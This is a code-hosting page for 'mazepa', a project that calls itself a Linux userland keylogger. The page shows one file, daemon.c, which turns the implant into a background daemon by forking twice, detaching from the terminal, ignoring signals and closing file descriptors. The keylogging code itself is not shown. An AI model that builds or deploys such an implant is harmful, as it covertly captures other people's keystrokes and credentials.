mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
daemon.c (686B)
      1 #include <signal.h>
      2 #include <stdio.h>
      3 #include <stdlib.h>
      4 #include <sys/stat.h>
      5 #include <sys/types.h>
      6 #include <unistd.h>
      7 #include "implant.h"
      8 
      9 void daemon_setup(void) {
     10     pid_t pid;
     11 
     12     /* Fork off the parent process */
     13     pid = fork();
     14 
     15     if (pid != 0 || setsid() < 0)
     16         exit(EXIT_FAILURE);
     17 
     18     /* FIXME(djnn): implement cleaner signal handler here */
     19     signal(SIGCHLD, SIG_IGN);
     20     signal(SIGHUP, SIG_IGN);
     21 
     22     pid = fork();
     23     if (pid < 0)
     24         exit(EXIT_FAILURE);
     25 
     26     if (pid > 0)
     27         exit(EXIT_SUCCESS);
     28 
     29     umask(0);
     30     for (long x = sysconf(_SC_OPEN_MAX); x >= 0; x--) {
     31         close((int)x);
     32     }
     33 
     34     openlog(CLIENT_ID, LOG_PID, LOG_DAEMON);
     35 }